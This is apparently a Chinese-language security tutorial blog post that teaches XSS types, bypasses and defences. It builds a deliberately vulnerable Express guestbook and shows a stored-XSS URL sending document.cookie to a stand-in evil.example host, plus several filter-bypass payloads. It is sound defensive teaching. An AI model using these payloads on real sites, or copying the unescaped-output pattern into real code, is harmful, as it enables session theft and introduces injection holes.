重构大版本更新
一口气全面统一博客样式,移除部分冗余导航页面,更专注内容展示。
从一个有漏洞的留言板出发,理解 XSS 三种类型、绕过姿势与系统防御,体会"数据被当代码执行"这一所有注入漏洞的共同本质。
Web 安全入门系列计划写四篇,这是第一篇。本篇讲 XSS:原理、三类注入点、绕过姿势与系统防御。写完你会发现,所有 XSS 归根结底一句话:不该信的数据进了 HTML,浏览器替攻击者执行了代码。
XSS(Cross-Site Scripting,跨站脚本)指攻击者把恶意 JavaScript 注入到网页,在其他用户的浏览器里执行。名字里的”跨站”是历史叫法,今天更多指”注入的脚本运行在正常网站的页面里”,借用网站的域名骗取用户信任。
被注入的脚本能做什么:
| 类型 | 注入点 | 触发方式 |
|---|---|---|
| 反射型 | URL 参数 | 诱骗用户点击构造好的链接,服务器把参数原样拼进响应 |
| 存储型 | 数据库 | 恶意内容被保存(评论/留言),之后每个访问者都中招 |
| DOM 型 | 前端 JS | 前端脚本自己把不可信数据写进 HTML,服务器全程不知情 |
存储型危害最大——一条评论就是一个持久化的攻击载荷。
搭一个最小漏洞环境:
// server.mjs —— 有 XSS 漏洞的留言板import express from "express";const app = express();const msgs = [];app.get("/post", (req, res) => { msgs.push(req.query.msg); // ① 存进数组 res.send(msgs.map(m => "<p>" + m + "</p>").join("")); // ② 原样拼进 HTML});app.listen(3000);访问:
http://localhost:3000/post?msg=<script>document.location='https://evil.example/?c='+document.cookie</script>之后每个打开页面的访问者,Cookie 都会被发往攻击者服务器。
真实的过滤从来不是 <script> 一个关键词那么简单,攻击者有无数变体:
<img src=x onerror=alert(1)><svg onload=alert(1)><body onpageshow=alert(1)><a href="javascript:alert(1)">点我</a><iframe src="javascript:alert(1)"></iframe>如果过滤只黑名单了 <script>,上面任何一条都能过。黑名单永远列不全,这是 XSS 防御的第一条军规。
& < > " ' 五个字符,转成 & 等。Vue/React 默认转义,所以框架用户反而不容易踩坑——除非用了 v-html / dangerouslySetInnerHTML;Content-Security-Policy: script-src 'self'有了这条,即使注入成功,外链脚本也加载不了,等于加了第二道锁;
XSS 二十年长盛不衰,根源是”数据被当代码执行”。防御思路一句话:默认全部转义,白名单放行必要场景,再叠加 CSP 和 HttpOnly 兜底。 下一篇讲 SQL 注入,原理同源,防御更优雅,敬请期待。